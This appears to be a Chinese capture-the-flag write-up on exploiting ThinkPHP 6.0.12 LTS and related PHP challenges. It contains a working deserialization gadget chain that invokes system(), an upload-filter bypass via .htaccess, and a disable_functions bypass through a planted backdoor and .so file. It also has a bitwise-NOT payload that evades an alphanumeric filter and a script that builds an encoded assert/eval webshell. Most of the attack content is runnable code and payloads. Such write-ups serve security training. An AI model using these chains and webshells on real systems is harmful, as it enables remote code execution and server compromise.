ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户
ThinkPHP V6.0.12LTS反序列化的链子可以找到,找到反序列化的入口就行
反序列化的入口在index.php/index/test
链子
- <?php
- // 保证命名空间的一致
- namespace think {
- // Model需要是抽象类
- abstract class Model {
- // 需要用到的关键字
- private $lazySave = false;
- private $data = [];
- private $exists = false;
- protected $table;
- private $withAttr = [];
- protected $json = [];
- protected $jsonAssoc = false;
-
- // 初始化
- public function __construct($obj='') {
- $this->lazySave = true;
- $this->data = ['whoami'=>['命令']];
- $this->exists = true;
- $this->table = $obj; // 触发__toString
- $this->withAttr = ['whoami'=>['system']];
- $this->json = ['whoami'];
- $this->jsonAssoc = true;
- }
- }
- }
-
- namespace think\model {
- use think\Model;
- class Pivot extends Model {
-
- }
-
- // 实例化
- $p = new Pivot(new Pivot());
- echo urlencode(serialize($p));
- }
-
主要涉及的就是代码审计
先尝试登录
用户名admin,爆破出密码为admin123(用户名和密码都是弱口令,所以优先尝试admin,当然也可以去翻数据库)
密码进行md5解密一下,admin123,登录之后能发现是一个图书管理系统
找了以后发现有文件上传的漏洞,结合源码试着getshell
- if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {
- $image = $_FILES['image']['name'];
- // 检查文件名的扩展名是否已经是".php"
- $ext = pathinfo($image, PATHINFO_EXTENSION);
- if (strtolower($ext) == 'php'|| strtolower($ext) == 'phtml' || strtolower($ext) == 'php5' || strtolower($ext) == 'php2') {
- // 将文件名的扩展名替换为".jpg"
- $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';
- }
- elseif (strtolower($ext) != 'jpg') {
- // 忽略其他后缀名并不做修改
- $image = $_FILES['image']['name'];
- }
- $directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
- $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
- $uploadDirectory .= $image;
- move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
- }
对上传文件的后缀做了限制,并且把php的拓展名修改为jpg,所以上传个jpg文件和.htaccess
蚁剑连接后,权限不够不能catflag,再找找代码中有bypass,存在后门,可以直接利用进行命令执行
echo "<p> <b>exampleb>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so p>";
修改一下路径
http://node4.anna.nssctf.cn:28314/bootstrap/test/bypass_disablefunc.php?cmd=ls%20/&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so
目录下没有发现flag,试试环境变量
/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/var/www/html/bootstrap/test/bypass_disablefunc_x64.so
上来就是一串简单的代码(看完国赛的代码,已经是被折磨惨了)
- error_reporting(0);
- if(isset($_GET['code'])){
- $code=$_GET['code'];
- if(strlen($code)>40){
- die("This is too Long.");
- }
- if(preg_match("/[A-Za-z0-9]+/",$code)){
- die("NO.");
- }
- @eval($code);
- }
- else{
- highlight_file(__FILE__);
- }
-
- // ?>
get传参,限制字符串长度小于40,正则过滤字母数字,取反绕过
尝试取反后进行命令执行
?code=(~%8C%86%8C%8B%9A%92)(~%93%8C);
没有回显,看看disable_functions过滤了什么
命令和函数都过滤了很多,传一句话木马,getshell
正常我们写一句话木马是用eval来执行后面的post,但是这里我们要用变量来调用函数,eval不是php函数无法被调用,所以用assert来运行php代码,这个点在涉及到php环境中调用函数来构造payload的时候要注意
-
- $a='assert';
- $b=urlencode(~$a);
- echo $b;
- echo "\n";
- $c='(eval($_POST[shell]))';
- $d=urlencode(~$c);
- echo $d;
- ?>
蚁剑连接
flag里面什么也没有,readflag里面是乱码,应该是因为disable_functions所以我们不能正常读取flag
使用蚁剑插件绕过disable_functions,使用readflag来获取flag
这题可能还是这个使用插件绕过disable_functions这里之前没见过